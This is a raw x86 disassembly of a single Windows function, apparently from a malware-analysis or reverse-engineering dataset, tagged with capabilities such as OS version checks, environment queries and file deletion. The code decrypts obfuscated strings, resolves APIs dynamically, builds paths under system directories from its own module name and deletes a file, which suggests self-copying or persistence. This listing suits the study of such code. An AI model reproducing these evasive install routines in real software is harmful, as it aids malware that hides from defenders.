Function at 0x401db4
Capabilities:
Check os version
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
push edi
mov edx, 0x11c
xor al, al
mov ecx, edx
lea edi, [ebp - 0x538]
rep stosb byte es:[edi], al
lea eax, [ebp - 0x538]
push eax
mov dword [ebp - 0x538], edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40220c
cmp dword [ebp - 0x534], 6
jb 0x40220c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call main
cmp eax, 0x2000
ja 0x40220c
call fcn.00402a86
test eax, eax
je 0x40220c
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x41c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401e54
push 0x91
push 0x1d
mov edx, 0x40ae68
call fcn.00404340
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push ebx
lea ecx, [ebp - 0x110]
push ecx
push eax
call edi
push 1
push 0
lea esi, [ebp - 0x110]
call fcn.004031cd
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
test esi, esi
je 0x401e95
push 0x8d
push 6
mov eax, esi
mov edx, 0x40af08
call fcn.00404340
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 4], eax
test eax, eax
je 0x401eb7
push 0x8f
push 8
mov edx, 0x40ae54
call fcn.00404340
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401ed6
push 0x95
push 7
mov edx, 0x40aefc
call fcn.00404340
push ebx
lea ecx, [ebp - 0x318]
push ecx
push eax
call edi
lea eax, [ebp - 0x318]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401eea
sub eax, edi
push 0x777
mov edi, eax
call fcn.00404796
push eax
push esi
mov esi, dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp + edi - 0x318]
push ebx
push eax
call esi
add esp, 0x10
lea edi, [ebp - 0x318]
call fcn.0040384c
push 0x40aa70
mov eax, edi
push eax
mov eax, 0x25c
call fcn.004037e2
test eax, eax
je 0x40220c
mov eax, edi
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x214]
push ebx
push eax
call esi
add esp, 0x10
push 2
pop edi
push 1
lea eax, [ebp - 0x214]
push eax
lea esi, [ebp - 0x110]
call fcn.004031cd
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
dec edi
jne 0x401f50
cmp dword [ebp - 0x52c], 0x203a
jb 0x402111
cmp dword [0x431954], edi
je 0x402111
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
mov dword [ebp - 8], esi
test esi, esi
je 0x401fb2
push 0x85
push 0xc
mov eax, esi
mov edx, 0x40ae34
call fcn.00404340
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401fd1
push 0x8e
push 0x1e
mov edx, 0x40af10
call fcn.00404340
and dword [ebp - 4], 0
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x40220c
lea ecx, [ebp - 4]
push ecx
call eax
push ebx
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402023
push 0x83
push 7
mov edx, 0x40ae08
call fcn.00404340
push ebx
lea ecx, [ebp - 0x110]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40206e
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402055
push 0x8f
push 0xa
mov edx, 0x40adfc
call fcn.00404340
lea ecx, [ebp - 0x63c]
push ecx
push eax
lea eax, [ebp - 0x110]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0x38
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40208d
push 0x94
push 0x35
mov edx, 0x40aec4
call fcn.00404340
lea ecx, [ebp - 0x41c]
push ecx
lea ecx, [ebp - 0x63c]
push ecx
push eax
lea eax, [ebp - 0x214]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00401d4e
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4020ec
push 0x88
push 0x1d
mov edx, 0x40af30
call fcn.00404340
push eax
push dword [ebp - 8]
call esi
push eax
call edi
test eax, eax
je 0x402197
cmp dword [ebp - 4], 0
je 0x402197
push dword [ebp - 4]
call eax
jmp 0x402197
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402130
push 0x98
push 0x1c
mov edx, 0x40aea0
call fcn.00404340
push ebx
lea ecx, [ebp - 0x110]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40215e
push 0x8f
push 0x16
mov edx, 0x40ae88
call fcn.00404340
lea ecx, [ebp - 0x41c]
push ecx
push eax
lea eax, [ebp - 0x214]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00401d4e
push ebx
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4021c7
push 0x97
push 8
mov edx, 0x40aebc
call fcn.00404340
lea ecx, [ebp - 0x318]
push ecx
push eax
lea eax, [ebp - 0x214]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0
lea eax, [ebp - 0x214]
push eax
lea esi, [ebp - 0x110]
call fcn.004031cd
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [ebp - 0x648]
pop edi
pop esi
pop ebx
leave
ret